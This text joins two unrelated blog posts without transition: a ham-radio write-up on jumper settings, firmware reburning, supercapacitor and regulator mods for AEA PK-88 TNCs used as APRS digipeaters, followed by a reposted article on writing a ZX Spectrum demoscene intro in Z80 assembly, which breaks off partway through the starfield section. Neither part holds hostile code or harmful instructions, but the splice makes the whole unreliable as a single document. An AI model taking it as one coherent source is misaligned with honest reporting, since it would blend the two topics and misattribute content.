So anyways, long story short, not only has SVRG been asking me to provide them with APRS digipeaters for them to stick up at really nice high-level radio sites, they’ve been asking me for SEVERAL APRS digipeaters. A lesson I’ve learned several times over across my infrasture hobbies is that when you’re tasked with managing not one or two of a system, but a handful up to several dozens (looking at you, 40+ MicroMirror server locations) there is a huge force multiplier in religiously making every copy of the system as identical as possible.

The entire digipeater hardware stack warrants its own blog post, but as a first piece of it, I selected the AEA PK-88 as my “standard” TNC modem that I’m using in each and every radio site. As I have already built several of these digipeater systems and now have several more… “on order?” I’ve needed to get more organized on the list of little hardware modifications I make to the TNC as some quality of life improvements.


Jumper Settings

I set the jumpers in the standard way, which is oddly poorly documented in the AEA manual, other than saying “it comes from the factory set correctly for most operations” but when I’m getting these things off eBay from other hams who have done lord knows what to these things, the need for this list. Note that for orientation I’m assuing the TNC is facing you, so the “front” of the circuit board has the status LEDs, the right side of the circuit board has the LM7805 heat sink, and the radio interface plug is on the “back left” corner.

JP1 & JP2 - My best guess is that these are circuit board trace jumpers for adjusting the memory mapping when using two 16kB SRAM chips, which is no longer required since 32kB SRAM chips don’t carry a significant price premium to two lower density SRAMs. My second best guess is that the AEA developers were worried about fitting all of the firmware in the 32kB 27C256, so this might have been a backup plan for using IC11 to give the TNC 48kB of ROM. I’ve never seen a PK-88 come configured with anything installed in IC11, so leave as printed on the circuit board. Exactly how only the 74LS139 and the jumpers are supposed to map two chips into the upper half of the Z80 memory map is very unclear to me, so I wouldn’t be surprised if additional fly wires were originally required.

JP3 - This jumper allows you to connect the host DCD signal to the CON connected status line instead of just being strapped high. Since KISS doesn’t rely on the TNC’s AX.25 network stack, we don’t care about the connected status of the internal AX.25 stack. The jumper is between the middle and rear pins.

JP4 - This set of three jumpers enables you to connect an external modem to pins 14-16 of J1 instead of using the internal 7910 AFSK modem. Since I’m using this TNC specifically as a Bell 202 modem for APRS, I’m keeping it set for using the internal modem. All three jumpers are between the middle and front pins of each set of three.

JP5 - This adjusts the polarity of the Push to Talk signal from the TNC out to the radio. Motorolas (as well as practically every radio I can think of) rely on an active-low signal, where the PTT line on the radio is connected to ground to key up the transmitter. the jumper is between the middle and left pins.

JP6 - This jumper is used to connect/disconnect the battery from the +5BB rail, so if you ever want to completely clear the settings from the TNC or disable the ability for the TNC to remember settings when external power is removed, open this jumper. I leave it installed so the TNC stays in KISS mode across power cycles.

JP7 - This adjusts something about the SCC generating interrupts for the host serial port. I have no clue. I leave the jumper between the middle and right pins.

JP8 - This is a solder jumper on the PCB for looping DSR back to pin 10 on the serial port. Leave open.

JP9 - This is a solder jumper for grounding the Squelch line on the radio interface P2. The purpose of either JP9 or the SQ line has been very unclear to me, so I always leave it open.

I have also received several PK-88s which had an additional jumper soldered between the rear ends of R5 and R7 for connecting the RTS and DSR signals on the serial port. I’ve always removed them, but the fact that I’ve gotten multiple with the same mod is quite interesting.

E1744 Firmware Update / Reburn

As far as I can tell, the last version of the firmware released for the PK-88 was version “E1744” with the power on welcome date of August 23, 1991. Thanks to the luxury of having both a MiniPro PROM burner and a UV eraser on hand from various other projects, as a policy I always replace the existing EPROM with a freshly burned one with the latest firmware. Not only does the behavior of the KISS ON command slightly change across some of the earlier firmware releases, the original EPROMs are getting well over 30 years since they were originally burned, so for the sake of minimizing the risk of future failures in the field due to bitrot, I reburn the ROMs.

As an aside, when the TNC is powering on, it performs a checksum across the entire ROM. Historically, AEA shipped each firmware version with the expected one byte checksum for it, but it appears that they later moved to a method where the expected checksum for all releases is $00, so you can ignore the mentions of the firmware checksum in the manual and as long as you see no mention of the checksum in the power-on message it passed. If the firmware doesn’t checksum to $00, I believe it will print a warning with the calculated checksum but will continue to boot anyways, so I can imagine you could experience bitrot on the EPROM and continue successfully using the TNC for quite a while.

Battery to SuperCap Replacement

The settings on the modem, which for me is namely just that it should sit in KISS mode, are stored not in a persistent EEPROM or FLASH chip, but actually in SRAM which only survives power getting removed from the TNC by the fact that it has a diode combiner falling back to a lithium coin cell battery which is soldered onto the motherboard to keep the SRAM alive persistently. An incredible demonstration of exactly how little power it takes to retain data in SRAM that just a coin cell battery can keep the contents alive, but these coin cells are also getting up into the many decades old, so they warrant replacement. Normally if these were just CR2032s in a coin cell socket I’d drop in a new one like I do on every rack mount server that moves across my bench, but these are soldered onto the board and I’d much prefer to guarantee that I never need to go back into these TNCs once they’re deployed, so I’ve opted to replace the orginal coin cell with a 5.5V super capacitor!

Supercapacitor

These things are very neat little capacitors which are purpose build for exactly this purpose of being a coin cell replacement without the chemical reaction. Normal super caps are typially good for 2.7V and ALL the amps, but there exist little coin cell style super caps which are “only” 0.2-1.5F (no micro, just whole ass Farads) with a relatively high input impedance. Just charging one of these capacitors and soldering it as a replacement for the lithium battery would give you several weeks of backup power, but by soldering a 1k - 10k resistor piggy back on top of diode D7 on the TNC you turn the bbRAM 5V rail into a trickle charger for the capacitor when the TNC is being powered from wall power.

So as long as the TNC doesn’t sit unpowered for more than a few months, it successfully retains all of its settings. And even if it did sit cold for long enough that the TNC lost all of its custom configurations, I’m operating them atached to a computer so I can open the serial port and re-apply all the same settings again.

LM7805 Switch Mode Replacement

While the input ~13V to the TNC is needed for the charge pump generation the +/-10V for the RS-232 interface, most of the power used by the TNC goes through a 5V linear voltage regulator, so more than half of the power consumed by the TNC is burned off as heat on the heat sink which takes up about a third of the space inside the enclosure.

5V SMPS regulator

Thankfully, we aren’t living in the 1980s anymore, and you can actually buy super cute little switch mode buck converter modules as drop-in replacements for 7805s. I was originally introduced to these by a MuRata sales rep wandering past my desk at work and tossing a few on my desk, but I’ve found the generic ones from Amazon or eBay are good enough for handling the few watts used by the TNC’s digital logic. This causes the TNC to run much cooler, which is probably a good thing for the capacitors hanging out inside the enclosure as well as being more power efficient.

I have seen some of these buck converters have trouble with the floating ground originally used in the PK-88 for the LM7805 to compensate for the diode drop to the +5BB rail. Because the TNC uses a pair of diodes to combine the input power’s 5V with the backup battery for the SRAM, it puts another diode D4 in series between the ground pin of the voltage regulator and actual ground, so the 7805 is actually putting out 5.6V, which is then dropped by D5 and D6 down to the 5V expected by everything else in the circuit. Since switch mode power supplies tend to have somewhat more… dynamic ground currents than a linear voltage regulator, I’ve been modifying the voltage divider on the 7805 replacement module to output more like 5.7V, replace D4 with a jumper wire, and simply rely on D5 and D6 dropping us down to the 5V expected. In my case, the feedback resistor divider on the regulator modules is 10.5k + 33k and I’m stacking a 51k resistor on top of the 10.5k resistor to nudge the ratio in the right direction, but lord knows how consistent these modules are across batches. If you’re not comfortable stacking a second 0603 surface mount resistor on top of the first one… they make little buck converter modules with a potentiometer on them as well, so you can just dial in 5.6V and use a dab of glue on the knob to commit to it.

Power In on P2.p4

While I have always been a huge fan of the 5.5mm x 2.1mm barrel jack connectors as a DC power standard, I have never been that much of a fan of it being a connector which is only held in by spring force and optimism. Radio sites tend to be far away and hard to get to, so I’m really invested in my radio systems not going offline and requiring a site visit only because the power jack fell out and needs to be pushed back in. Thankfully, the Motorola radios I’ve standardized on have a 16 pin accessory interface connector which is much more flexible than the standard mini-DIN plug amateur radios tried to standardize on, and it includes a 12V output from the radio, so it is possible to have the radio feed power into the TNC over the same interface cable as is used for transmit and receive audio as well as the push to talk signal.

Power in on radio connector mod

The PK-88 uses a screw ring retained 8 pin connector, where pins 4-6 are unused and unconnected. I solder a wire from P2.p4 running to the back of J3 (the power input barrel plug) with an in-line 1.5 ohm 1W resistor, then build my radio interface cables routing their aux 12V output to match. The reason I put a 1.5 ohm resistor in-line on this wire is because the Motorola radios have a little 2A pico fuse on their aux 12V line, and I’ve seen the 1000uF filter capacitor on the PK-88 blow that fuse if the radio 12V rail comes up too quickly, so we’re doing some basic in-rush limiting here.

One big disadvantage of this mod is that the radio interface P2 plug is mounted to the TNC chassis, so while the five original interface lines are connectorized on J2 for the circuit board, this additional wire to pin 4 now forever connects the PCB to the bottom of the enclosure, so I make sure to include enough slack to be able to work on the PCB again if needed. Or, you know, just embrace the idea of desoldering the wire if you ever need to.

Labeling

Labeling the back

One thing I’ve found extremely helpful when making all of these modifications to my TNCs is that it’s nice to label the outside of equipment with what mods I’ve made to them and when. Label tape is cheap compared to the amount of time I’ve saved myself not needing to open up and reverse engineer things I’ve done in the past and forgotten about.

Writing a Demoscene Intro for the ZX Spectrum

Lobsters
www.markround.com
2026-10-12 04:46:10
Comments...
Original Article

A look at the tools, techniques and challenges of creating a retro-style 'crack intro'

Updated:

Download Now View on pouet.net

Intro

In the late 80s, I spent an embarrassing number of hours hunched over my ZX Spectrum, typing in Sinclair BASIC programs and rudimentary assembler routines copied from magazines, trying to re-create the Amiga crack intros I’d seen round at a friend’s house. Obviously, they never came even slightly close - but now, many decades later, I’ve finally managed it! I’m now the proud author of a hand-rolled retro demoscene intro that runs on a stock 128Kb Spectrum. It features all those late 80s tropes: A smooth scrolltext (with ‘leet custom fonts!), a three-channel AY soundtrack, bouncing VU meters and the essential parallax starfield. It’s currently 10287 bytes of code, or 19552 bytes as a complete tape image - which, given I’ve been working on this since December 13th last year, means my average rate of code-production is a paltry ~ 455 bytes per week!

This blog post is a technical overview of how I got there, some cool tricks I picked up, and everything I had to learn (and re-learn) about the Speccy and Z80 assembly along the way. It simultaneously rates as one of my favourite side-projects ever, and also the one that most often nearly triggered a foot put through my monitor in frustration. I’ll reflect on all that at the end , but for now if you just want to see the finished product, the download button is at the top of the article and the included .tap cassette tape image should load into any emulator. There’s also a YouTube capture , links to the production on pouet.net , and you can run it from within a web browser by visiting my TNFS site portal - check option 4 for recent uploads.

Be Kind, Rewind

But let’s skip back briefly to the late 80s. Coming from the world of an 8-bit, cassette tape loading computer, seeing an Amiga for the first time was like encountering something from outer space. Like everyone who saw one back in the day, I was blown away by the amazing graphics and sound on display, not to mention the library of ground-breaking games . But I found myself even more captivated by the mysterious (and totally badass) “intros” displayed at the beginning of pirated games.

Created by the software piracy groups that had cracked the copy protection and distributed the floppy-disk based games, they were mini works of art in their own right - music, graphics and usually some cool-looking effect to show off the group’s prowess. There’s a great collection of these intros (or “cracktros”) archived on YouTube .

Watch a few of those videos and you’ll quickly notice the “design” tropes that almost every cracktro shares: a cool, edgy logo at the top of the screen (bonus points if it’s dripping blood or in any way “metal”), some boastful text displayed on top of an effect of some sort - usually a scrolling parallax starfield, or rotating 3d object - and a further scroll-text full of shout outs, greetings to fellow pseudonymous crackers and adverts for illegal BBS systems galore. Needless to say, to a kid in the 80s/early 90s this was possibly the coolest thing ever .

I thought this one was the absolute bomb when I first saw it. Sine-scroller, pirate BBS adverts, cool logo with a sword - and of course, a starfield. There’s something for everyone here.

The music from this is burned into my brain. I think pretty much everyone of my classmates knew this intro given the popularity of Lemmings in the early 90s. Skid Row as a group are still active to this day and this is probably the quintessential Amiga cracktro of the period.

Endless Piracy. Edgy. Another cool logo, sine-wave scroller, starfield and boasting text. The classics never go out of style.

Another great combination of all the essential ingredients. Cool logo, even cooler text font, scrolling starfield and a scroll-text running along the bottom. Vintage stuff.

Logo. Text. Scroller. But no starfield - otherwise a solid effort from Anthrox here :)

The demoscene grew out of these intros. The cracking eventually faded into the background, and coders, “graphicians” and musicians all contributed to feature-length productions that showcased their abilities, competed with other groups and pushed the machine to its limits. In amazing feats of ingenuity and pure “code as an art form”, the scene lives on today, with groups producing breathtaking productions like this and this - bear in mind, both of those are running on a 7Mhz home computer equipped with a floppy disk, 1Mb of memory and a sound chip from 1985.

But much as I admire the sheer skill and dedication that takes, it’s the early “single screen” scrolly-text-and-starfield cracktros I’ve always found captivating. They took on a sort of mystical quality for me, hinting at a scene and a culture I could only ever experience from the outside - which is exactly why I spent all those hours in Sinclair BASIC, trying in vain to re-create them, and dreaming of the day I’d eventually have an Amiga of my own.

The Jump Back

I eventually did trade up to a range of Amiga systems, joined a few “scene” groups myself and threw myself into a variety of activities until exams and the end of my teenage years beckoned. I dabbled with Z80 code back then, and at one point knew enough 68k assembly to bluff my way through - partly from the Amiga’s heyday, partly from a few “embedded systems” modules at University where I had to program a set of traffic lights or lift-controllers. Given there’s not much call for that sort of thing at my $DAYJOB, though, it had all pretty much faded from my memory.

I have kept working on a bunch of projects in my spare time, and one of my favourites is my TNFS site - sort of an old-school BBS system or interactive “website” for the Spectrum, which grew out of a fun experiment to see how far I could push Sinclair BASIC. It relies on a modern network card fitted to the Spectrum, which is how I came to be chatting to “Desertkun”, another TNFS-protocol enthusiast. He’s now producing a great new WiFi network card for the Speccy, and was kind enough to send me a few of the prototypes to test out for him.

I was massively inspired by his hardware and low-level coding chops, and during one of our video calls where we’d been comparing our development setups, he asked why I didn’t write any Z80 assembly myself. A throw-away comment, but the challenge was set! Now, I couldn’t face re-writing the whole site in asm, but I figured I could produce a self-contained intro to promote it in the style of the early “BBStros”, and finally be one of the cool kids with a scene production of my own :)

I mean, how hard could it be ? ( ooooh - foreshadowing! )

Dev Environment

My development environment through this was pretty straightforward, and is the same stack I use for developing my TNFS site. I just used a Makefile-driven build system which ran my code through the Pasmo assembler, my fork of zmakebas to build BASIC files, and the FUSE emulator for testing. For final testing on the real hardware, I uploaded my .tap files to my local TNFS server where I could run them on my +3.

A few additional tools I have to call out because they ended up making a big difference - one is the amazing web-based “asm-editor” I discovered while looking up Z80 instructions. Not only does this site have a great reference of all the Z80 instructions, but it also has an editor where you can run example code and see how the memory and/or various registers change state. Take for example, the djnz instruction - you can build it and step through the example loop construct one instruction at a time. Or try my example of an add instruction in the screenshot to see how the carry flag works when a bit gets shifted out of a register. Although it uses a slightly different syntax to Pasmo (so I couldn’t drop my code directly in it), it massively helped when manually stepping through things.

And lastly, probably the most significant debugging tools I used on this project - a notepad and pen, and my two dogs (say “Hi!” to Biscuit & Pebble…) I’ll write some more about this in the wrap-up , but this really was a highly unusual project for me, coming from decades of much higher-level languages and constructs. Most of my z80 code I only ever really understood after drawing out the bytes and bitmasks, keeping a table of register flags and drawing chunks of screen memory out by hand. And I found my evening walks with the two dogs provided ideal rubber duck exercises, although I’m not sure what they both made of my protracted mutterings about the hl register pair. Either way, debugging-by-dog is highly recommended!

The Starting Point

So, let’s get started. I followed a great “Hello, world!” example from futurice.com to validate my build environment. Beyond that, the first thing I wanted to do was load in my logo and background image I’d use as a “stage” for the remainder of the planned intro. I wasn’t really sure what I was going to do at this point, just that I wanted my logo at the top, and a scrolltext along the bottom row of the screen. As my TNFS site header already looked kinda demoscene-y, I made a quick edit putting in place two blue guide-bars inside which I’d put further content.

A Spectrum SCREEN$ file (usually displayed as loading screens) is just a dump of screen memory, starting from byte 16384, and running for 6912 bytes. The weird layout of this is very relevant later, but in order to display it all you need to do is load your file into that memory location. After a few hour’s work of reviewing Speccy internals and following various guides, I had a very simple starting point for my demo that served as the basis for everything else that came after.

org $8000

screen  EQU $4000 ; address of the first byte of screen memory, 16384 in dec
scrlen  EQU 6912  ; total length of the screen memory inc. attributes
ula     EQU $FE   ; I/O port for the ULA to control the border
black   EQU 0     ; Spectrum colour number, the exact same ones BASIC uses

start:
  ld a,black      ; Set the border colour to black using the ULA
  out (ula),a

  ; Copy my logo header picture to screen memory
  ld hl,header    ; HL = location of my screen file in this code
  ld de,screen    ; DE = start of screen memory
  ld bc,scrlen    ; BC = 6912 bytes to copy
  ldir            ; block copy, see https://jnz.dk/z80/ldir.html

; busy loop - rest of intro goes here :P                    
hold:
  halt            ; sleep until the next interrupt (1/50 second)
  jr hold         ; then jump back and sleep again, for ever

header:
  incbin "assets/header.scr"  ; my logo header/background

end start

Not much to look at now, but this simple starting point introduced me to important concepts like interfacing with the Spectrum’s hardware ( ULA chip to start with, and AY sound chip later) via the out instruction, how to pull in binary files using Pasmo’s INCBIN directive, using the Z80’s block copy ldir instruction, the use of register pairs for 16-bit addressing, and simple branching to labels.

Hello World

The next step was to print something on the screen and explore some of the Speccy’s built-in ROM routines, which are somewhat analagous to syscalls on modern operating systems. There are plenty of disassemblies and guides to the Spectrum ROM available on the internet, one of the best commented and linked one is at https://skoolkid.github.io/rom/ . Using this as a reference alongside the various “Hello, world!” tutorials showed me how this sort of thing is built up:

  at      EQU 22 ; "at" control character used to position the cursor
  row     EQU 11 ; coordinates where to print the message
  col     EQU 9

  prstring EQU $203C ; where the pr_string routine lives in ROM

  ld de,msg        ; DE = address of the first character
  ld bc,msglen     ; BC = how many characters to print
  call prstring    ; print the lot

; busy loop is the same...

msg:
  db at,row,col            ; equivalent of "PRINT AT 11,9" in BASIC
  db "Hello, world!"
msglen  EQU $-msg          ; 16 bytes in all, pasmo shortcut, $=program counter

I ended up mostly not using the ROM routines in my code as they dragged in all sorts of things I didn’t need, but it was massively useful to understand how they worked as they introduced me to yet more commonly-used constructs. For example, the PR_STRING routine defined here shows how you can build a loop over each character. If you’re just starting out, I highly recommend going over the 8 lines in that routine with a notepad and pen, working out the contents of the registers and following the loop constructs.

I also made a version of it in asm-editor you can try. If you click that link, you’ll see a version of the code loaded into the web editor. Click “Build”, and then step through the code using the “Step” button - although no text will be actually displayed (I skipped over the call to the Spectrum ROM “restart” vector that does this), you’ll see the various states of the registers and for example the BC register counting down as each byte of the string is processed.

Adding Some Style

Problem is, the Speccy’s built-in font is not exactly dripping with demoscene credibility. I wanted to use some stylish fonts and this turned out to be super easy - a quick search turned up Jim Blimey’s awesome font collection , which included a ready-to-use set of assembler files and some instructions which soon led me to these additions in my code:

; CHARS is the address the ROM's printing routine reads to find the font. 
; Picking our own font is simply a matter of over-writing this
chars   EQU $5C36 ; from Jim's docs - POKE 23607=5C36 in hex

  ld hl,myfont-256 ; HL = font address - 256 as per docs
  ld (chars),hl    ; from now on the ROM draws with it!

; rest of code is the same

myfont:
  include "textfont.asm" ; "Cartoon" font from jimblimey.com

There we go! Now that’s looking a little more elite. Sorry, I mean 31337 . Strap in folks, we’re leaving lamer city… So at this point, a month or so in to my dabblings and I’d started to get a reasonable understanding of common idioms and was starting to feel like this was a project that might actually go somewhere. The problem started when I moved on to trying to implement actual demo effects: It became very apparent, very quickly, just how much I didn’t know about how this all worked. Not to mention the fact that at this level, you’re really closely exposed to the physical hardware intricacies, including the design decisions and trade-offs that the hardware designers had to make when working with the extremely limited specs of the early 1980s.

Cursed Screen Layout

The first such problem - and the cause of probably 90% of my pain - is the Speccy’s extremely weird screen layout. Rather than standard bitmapped display you might expect on more modern hardware, it is instead split into 3 sections, each with a set of interleaved rows (so if you keep adding 1 to a screen address, eventually instead of reaching the next row, you’ll instead end up 8 rows down, and so on until you hit the bottom of the section and then loop back to the row underneath where you started!) followed by a block of “attribute” bytes which determine the colours of each 8x8 block. The attribute blocks are the reason why each 8x8 character cell can only have two colours (a PAPER and INK attribute) which led to the garish “colour-clash” of spectrum games and distinctive style where artists try to keep inside 8x8 blocks as much as possible. But it was the layout of the bitmap portion that is such a mind twister.

You can see this illustrated whenever a game reads in a loading screen from tape. You can see each section built up with the interleaved rows one at a time, and then finally the colour and other attributes (like flashing ). There’s a lot of detail at the fantastic Break Into Program site. In the defense of the designers, they were working with extremely limited hardware and I don’t think the Speccy was ever imagined as a games machine. When you start shuffling bytes around, you realise that this approach is really optimised for displaying text which is neatly arranged into 8x8 character boundaries. For example, using this “scrambled” bit order, if you have a screen address in the hl register pair, you can quickly get to the next pixel line of a given address by simply incrementing the “high” byte. There’s a bunch of other “cheap moves” you can make by simply shifting bits around:

Move Instruction
Right 8 pixels inc l
Left 8 pixels dec l
Down 1 pixel line inc h
Up 1 pixel line dec h
Down 1 character row add 32 to l

It was a reasonable choice for a machine that would probably spend a lot of it’s time displaying BASIC program listings - it’s only when you start trying to write demo or sprite routines that it starts to feel really weird. This also means you’ll pretty quickly need a routine to convert X,Y addresses to the relevant memory addresses. Again, L Break Into Program has a useful routine and if you disassemble more or less any spectrum game or demo, you’ll find a version of this procedure somewhere. And yes, this all became horribly relevant later on…

Admittedly, not the most interesting demonstration - but this was the first time I had made something move on the Spectrum’s screen with assembly! I watched this with pride more times than I care to admit :)

I had a snazzy logo and “Hello World” text, but that doesn’t make for a very interesting intro! The first effect I wanted was the scrolltext - without that, it’s not really an intro. Now, the Amiga had all kinds of hardware sprites, blitter operations, custom chips but the Spectrum had none of that. I was going to have to work out how to do things the hard way - “banging on the metal”, literally by shifting bits around the screen memory by hand and having the CPU do all the work.

This is where understanding the Speccy’s weird screen and character cell layout is so important. It turns out there’s a neat trick as long as I stay inside one character row - there’s a RL instruction, which takes a byte and “rotates” it left. It inserts whatever is in the carry flag into the rightmost bit, and whatever gets shifted out ends up in the carry bit again. That means if you string a bunch of them together, you can move a set of pixels across the screen - the moment they “fall off” one character cell, they end up in the carry flag and then the next rl instruction inserts them at the beginning of the next character cell to the left. Repeat 32 times, and you’ve just moved a pixel (or set of pixels) across a line of the screen:

linestart EQU $4880         ; leftmost byte of the line 12 rows down
lineend   EQU linestart+31  ; rightmost byte column ($489F) 
linelen   EQU 32            ; one whole line is 32 bytes (character cells) across
dot       EQU %00000001     ; the dot "shape", just one pixel lit at the far right end

newdot:
  ld a,dot                 ; load the dot shape (only rightmost pixel lit) into a
  ld (lineend),a           ; store it in the rightmost byte of the line, pixel is now lit

frame:
  halt                     ; wait for the next frame, otherwise it whizzes across too fast to see
  ld hl,lineend            ; hl = last (rightmost) byte of the line
  ld b,linelen             ; loop counter, 32 bytes to work through
  or a                     ; trick to clear the carry flag, or against itself leaves a register 
                           ; unchanged but clears various bits including the carry flag
                           ; see https://jnz.dk/z80/or_r.html
shift:
  rl (hl)                  ; rotate this byte left (00000001 -> 00000010)
  dec hl                   ; point hl at the next byte to the left
  djnz shift               ; loop construct: b=b-1 and then jump back to shift label until b=0
  jr c,newdot              ; now we've shifted the whole line, so if the carry flag is set now it means
                           ; the dot has just left the screen, so we jump back to the start
  jr frame                 ; otherwise it is still somewhere on the screen, so keep shifting!

Wrapping this in another loop that increments h each time (remember - that gets us moving down a scanline) gets us moving an entire character cell. Here you can see it moving an entire row of my “Hello world” message. There was however a lot more work needed to make a proper scrolltext, with each letter appearing smoothly. I started off by just printing an entire character at a time on the right-hand edge of the screen - it worked, but was pretty ugly as you saw each new character appear at once in the right-hand side of the screen, scrolling 8 pixels over and then the next character flashed up. Instead, I wanted to make each character appear pixel by pixel and that required a bit more bit juggling. The routine I ended up with effectively streams each character in, line by line, pixel by pixel using the font data directly instead of calling the ROM print character routine.

It does this by looking up the ASCII code for a character, and then fetching the corresponding font representation into a 8-byte buffer, one byte for each line of data. The font data starts with the space character (character code 32), so a lookup is simply font code base address + (ascii code - 32) * 8 to get to the bits for that letter.

Arranged into an 8x8 grid, the bits for the letter H in the font data look like this. For each row of bits, I shift the line left using a neat trick. The byte is loaded into the a register, and then by adding itself to itself - add a,a we shift the value left (in binary, multiplying by 2 moves everything over one bit) so that the pixel I want to draw ends up dropping into the carry flag. This is an idiomatic way of doing it in Z80 code as it’s faster and smaller than the sla instruction. And every cycle quickly adds up when you’re re-drawing 256 bytes every frame!

The character buffer then looks like this, with the top line shifted. Now, with the hl register pair pointing at the correct location on the screen, I can then use the rl trick discussed above. This shifts a scanline from the bottom character row of the screen left by one pixel and draws my pixel in the rightmost position by moving it in from the carry flag. Looping 32 times over this moves the entire row by 1 pixel with my new pixel inserted at the right.

I then repeat this step again using inc h to move down one scan line until the entire character column has been drawn. At this point, the character buffer looks like this, and all 8 lines of the bottom screen row have all been shifted left by one bit by looping over all 32 character columns. The whole thing then repeats another 7 times until the entire character has been smoothly scrolled onto the screen.

So just to re-state this because I think it’s worth the emphasis - just to scroll a message across the bottom of the screen, we’re having to loop over and re-draw 256 pixels every frame! It shows how much faster assembly is than the BASIC interpreter built into the spectrum’s ROM. I found it amazing to see my code finally working and imagining all the bits flying around and registers flapping away. It really makes me appreciate just how much effort went into creating the games I played back then.

Music

The original Amiga module I converted. A proper 1980s ear-worm!

Of course, any good intro needs some music. On the Amiga, the standard was the “tracker” module format, which has a long and involved history of different forks, versions and tweaks. A song is built up from a series of patterns, each made up of rows of instructions. Each instruction usually includes note or pitch information, which sample to play and various parameters such as volume, effects - or in the case of some instructions, which position in the song to jump to. In many ways, it’s almost like a programming language for music. Using ProTracker as an example, a typical note cell is 4 bytes, shown on-screen as something like C-2 01 C20 . That breaks down into three fields: the note and octave ( C-2 ), the sample number ( 01 ), and the effect and its parameter ( C20 - in this case, “set the volume to $20 ”, which is half of the maximum $40 ).

A close-up of Protracker playing a tune. Note the VUmeters - another classic demo effect I would pinch later on!

For an impressive demonstration of what’s possible with a tracker and to see what the note data looks like on-screen, check out the work of h0ffman, and in particular his winning “ Professional Tracker ” entry from the Revision 2014 competition . He’s an undisputed master of the science (or art!) of tracking, and his “ Secrets of Protracker ” talk gives a great overview of what’s possible.

The Amiga’s sound hardware far eclipsed anything else on the market at the time, and the ZX Spectrum is paltry by comparison. The original 48K models only offered a rudimentary “beeper”, but the later 128K models included a 3-channel AY-3-8912 sound chip. This was very popular in 8-bit micros of the time, and a more-or-less identical variant was also used in the Atari ST. While it only offers basic waveforms and sound processing, it does enable multi-channel “chip music”, and so it became the mainstay of the ZX Spectrum demoscene. It also spawned a variety of SoundTracker clones on the Spectrum itself, although most musicians these days prefer to work in modern tools like Vortex Tracker II, which runs natively under Windows.

The Conversion

Pex looking back on his demos - this starts at the point where he features my letter and plays a bit of my cover version!

For my intro, I wanted to port an Amiga module - and I had the perfect one in mind. One of my favourite Amiga music disks was “Sounds Of Gnome”, released in 1989 by the Swedish duo “Mahoney & Kaktus”. Mahoney also wrote NoiseTracker, one of the first really widely used trackers on the Amiga, and the program that served as my teenage introduction to making computer music of my own. Back in 2018 I made a rock cover of one of the other tunes on that disk, and wrote to Mahoney (real name “ Pex ”) about it. He ended up showing my “music video” at a demo conference, which I am eternally grateful for! So it seemed only fitting that I mangle another song from that collection with a Spectrum conversion… Sorry, guys! I picked the track “Milkman” which was written by “Glue Master”, an associate of Mahoney’s who had a few of his tracks featured on the compilation.

It’s an ideal track for converting: It’s short (only 7 patterns in total), most of those patterns share the same chord sequence, and it looked fairly easy to squeeze the original 4 channels down into the Spectrum’s 3. Plus, it’s an incredibly catchy tune and I knew it well - I’ve been listening to it for 35+ years and often jam along to it on guitar or bass. The conversion started off pretty easily: all I really had to do was copy the patterns note-for-note from the Amiga mod, which I had open in OpenMPT as my Windows tracker. Below is a session with both trackers open on the same pattern - the original Amiga mod on the left, and my 3-channel Spectrum conversion on the right.

Note the 11.7 in the 3rd channel of the Spectrum version. This is a “pitch slide down” effect in Vortex Tracker syntax, which drops the pitch by about a quarter-tone. It’s repeated on the next line, so the overall effect is a slide down from the A# that leads in to the next bass note. The original Amiga mod does the same thing using its own syntax - those are the 202 s you can see on the same notes, at the bottom of the 4th track.

Using just a single “beep” sound for everything was enough to check everything was working, and after a few weeks of hacking on it and re-arranging things in the evenings, I had a basic version which sounded surprisingly good for a first draft:

I have to give a special mention to this forum post which was a massive help getting me started. It’s probably the best introduction to Vortex Tracker I’ve found - many, many thanks to the original author for taking the time to write it all up!

The real challenge was making it sound as close to the original as possible. That meant building up a library of better-sounding samples for the different parts, and making extensive use of Vortex Tracker’s “ornaments”. Vortex Tracker comes with a great selection of sounds, and fortunately I’m also a weirdo who likes to listen to chiptunes in the background while I work! So whenever I found something particularly enticing, I filed it away for later pilfering inspiration. A Vortex Tracker sample isn’t really a “sample” in the Amiga sense of a recorded sound - it’s a definition of how a note sounds, one line per frame. Each line can mix in a tone or the white noise generator (useful for snare effects and suchlike), along with various other parameters.

Ornaments, on the other hand, give you extra control over what pitch a note plays - and this enables really useful tricks like “arpeggio chords”. For example, an ornament of 0,4 makes the channel switch rapidly (25 times a second) between the note being played and the one 4 semitones above it. It happens so quickly that it sounds much like two notes played at the same time, which means you can build up full-sounding triad chords using only two channels. Take the opening chord in my fully converted version, Cm: It plays C in the first channel and the minor 3rd (D#) in the second, then I apply an ornament to the second channel to bring it up 4 semitones to the 5th (G). That gives all three notes of the chord, while keeping the 3rd channel free for other parts.

As well as making much more efficient use of the limited 3 channels, this also gives Spectrum music that characteristic “warbling” sound, which I find really appealing in a retro kind of way! Between tricks like this and samples that mix tones with white noise (to make a combined “bass-snare” sound, for example), I managed to condense the full track down to 3 channels. Many months later, I have to say I’m really pleased with the final result .

Playback

The original site that was home to Vortex Tracker, documentation and other resources appears to be offline at the moment. I managed to grab a copy of everything I needed from archive.org - you’ll want the PTxTools.7z file for the playback routines discussed here.

The playback was simple in theory: As this overview notes, you basically just pull in the player routine, include your module file and call the playback routine once per frame in your main loop. The catch is, none of the source code versions supplied in the archive worked with my Pasmo assembler. Fortunately, there is a pre-compiled binary object shipped alongside the source ( VTII10bG in the PTxTools/PT3Play directory). This just has to be loaded in at address $C000 - this cannot be changed, as it has lots of absolute addresses baked in.

My code to handle module playback now looks something like this, with the binary module loaded in place:

; Define the start address of the player routine and functions we need
player EQU $C000      ; hard-coded org address of binary player
plinit EQU player+3   ; init function in docs, module address in hl
plplay EQU player+5   ; play and move on one frame

; from the docs - this "analyzes PT3 module header and prepares 
; corresponding note and volume tables"
ld hl,moduleimg
call plinit

; main loop
hold:
  halt
  call plplay
  call scroll
  ; other effects / routines go here...
  jr hold

moduleimg:
  incbin "assets/music.pt3"

Starfield

This brings me to the main event. No self-respecting cracktro is complete without a starfield!

My first, naive approach to the classic starfield effect was to scatter random stars across the screen, then move down each scan-line applying the same rl trick I’d used for the scroll-text. I figured I could get parallax by shifting each row a different amount: One pixel for the first row, two for the second, three for the third, then back to one again, all the way down the screen to give the impression of several “fields” of stars moving at different speeds.

It turned out there were two major problems with that approach. Firstly, shifting an entire row smeared whatever else was on it along with the stars - which I’d expected, and had filed away as a problem for future me. The bigger issue was speed: by the time I’d finished the first three rows I’d already performed hundreds of shift operations, and it was nowhere near fast enough to fit inside a single frame. Everything crawled across the screen, and the music playback slowed down so much that you could actually hear the arpeggio ornaments warbling away as separate notes.

